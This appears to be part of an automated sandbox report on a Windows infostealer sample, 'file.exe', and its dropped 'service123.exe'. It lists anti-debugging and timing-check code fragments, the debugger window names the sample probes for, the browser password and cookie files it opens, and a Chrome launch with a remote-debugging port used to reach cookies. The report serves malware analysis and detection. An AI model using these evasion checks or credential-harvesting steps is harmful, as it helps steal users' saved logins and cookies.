Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B415D3 second address: 7B41603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 jmp 00007F0DEC859E6Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007F0E59B17F97h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0DEC859E75h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41603 second address: 7B41675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, E1h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a or dword ptr [edx+38h], FFFFFFFFh 0x0000000e jmp 00007F0DECF2B4E4h 0x00000013 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000017 jmp 00007F0DECF2B4E0h 0x0000001c or dword ptr [edx+40h], FFFFFFFFh 0x00000020 pushad 0x00000021 jmp 00007F0DECF2B4DEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007F0DECF2B4E0h 0x0000002e jmp 00007F0DECF2B4E5h 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B41675 second address: 7B416C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 jmp 00007F0DEC859E6Dh 0x0000000b pop ebx 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f pushfd 0x00000010 jmp 00007F0DEC859E78h 0x00000015 sub cx, 6DA8h 0x0000001a jmp 00007F0DEC859E6Bh 0x0000001f popfd 0x00000020 popad 0x00000021 leave 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ax, dx 0x00000028 movsx ebx, si 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B416C2 second address: 7B416DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B309C6 second address: 7B309D5 instructions: 0x00000000 rdtsc 0x00000002 mov bh, 47h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B309D5 second address: 7B309D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B309D9 second address: 7B309DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B309DF second address: 7B309E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B309E5 second address: 7B309E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0055 second address: 7AF00A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 47h 0x00000005 jmp 00007F0DECF2B4E8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007F0DECF2B4E0h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a call 00007F0DECF2B4E3h 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF07B1 second address: 7AF07B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF07B7 second address: 7AF07D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF07D7 second address: 7AF07DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF07DB second address: 7AF07E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF07E1 second address: 7AF0805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0DEC859E6Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dh, 93h 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0805 second address: 7AF0841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0DECF2B4E4h 0x00000008 pop ecx 0x00000009 mov ebx, 01264556h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0DECF2B4E8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0841 second address: 7AF0846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0BCD second address: 7AF0BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0BD2 second address: 7AF0C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dx, 3C24h 0x0000000f pushad 0x00000010 call 00007F0DEC859E73h 0x00000015 pop ecx 0x00000016 mov eax, edi 0x00000018 popad 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c movsx edi, ax 0x0000001f movzx eax, bx 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0C10 second address: 7AF0C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AF0C14 second address: 7AF0C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B30906 second address: 7B3090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B3090A second address: 7B30910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200AA second address: 7B200AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200AF second address: 7B200C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E72h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200C5 second address: 7B200DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 44h 0x0000000b pushad 0x0000000c mov dl, 5Bh 0x0000000e push ecx 0x0000000f mov dl, 60h 0x00000011 pop ecx 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200DF second address: 7B200E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200E3 second address: 7B200E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200E7 second address: 7B200ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200ED second address: 7B200F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200F3 second address: 7B200F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B200F7 second address: 7B200FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B2020F second address: 7B20214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B20214 second address: 7B20260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4E5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lock bts dword ptr [edi], 00000000h 0x00000011 jmp 00007F0DECF2B4DEh 0x00000016 jc 00007F0E5C2DD6C6h 0x0000001c jmp 00007F0DECF2B4E0h 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B20260 second address: 7B20264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 16F00C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1787B5B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1564 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 947 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1645 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1596 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.1 %
Source: C:\Users\user\Desktop\file.exe TID: 7024 Thread sleep count: 38 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7024 Thread sleep time: -76038s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6976 Thread sleep count: 1564 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6976 Thread sleep time: -3129564s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3168 Thread sleep time: -44000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6948 Thread sleep count: 947 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6948 Thread sleep time: -1894947s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6952 Thread sleep count: 1645 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6952 Thread sleep time: -3291645s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7028 Thread sleep count: 1596 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7028 Thread sleep time: -3193596s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7588 Thread sleep count: 291 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\ Jump to behavior
Source: chrome.exe, 00000004.00000002.2065222790.0000026103FC8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllCCiqP
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging

barindex
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B18230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_00B18230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B1116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 8_2_00B1116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B111A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_00B111A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B11160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_00B11160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B113C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 8_2_00B113C9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1584D0 cpuid 8_2_6C1584D0
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information

barindex
Source: Yara match File source: 8.2.service123.exe.6c0d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7584, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior

Remote Access Functionality

barindex
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs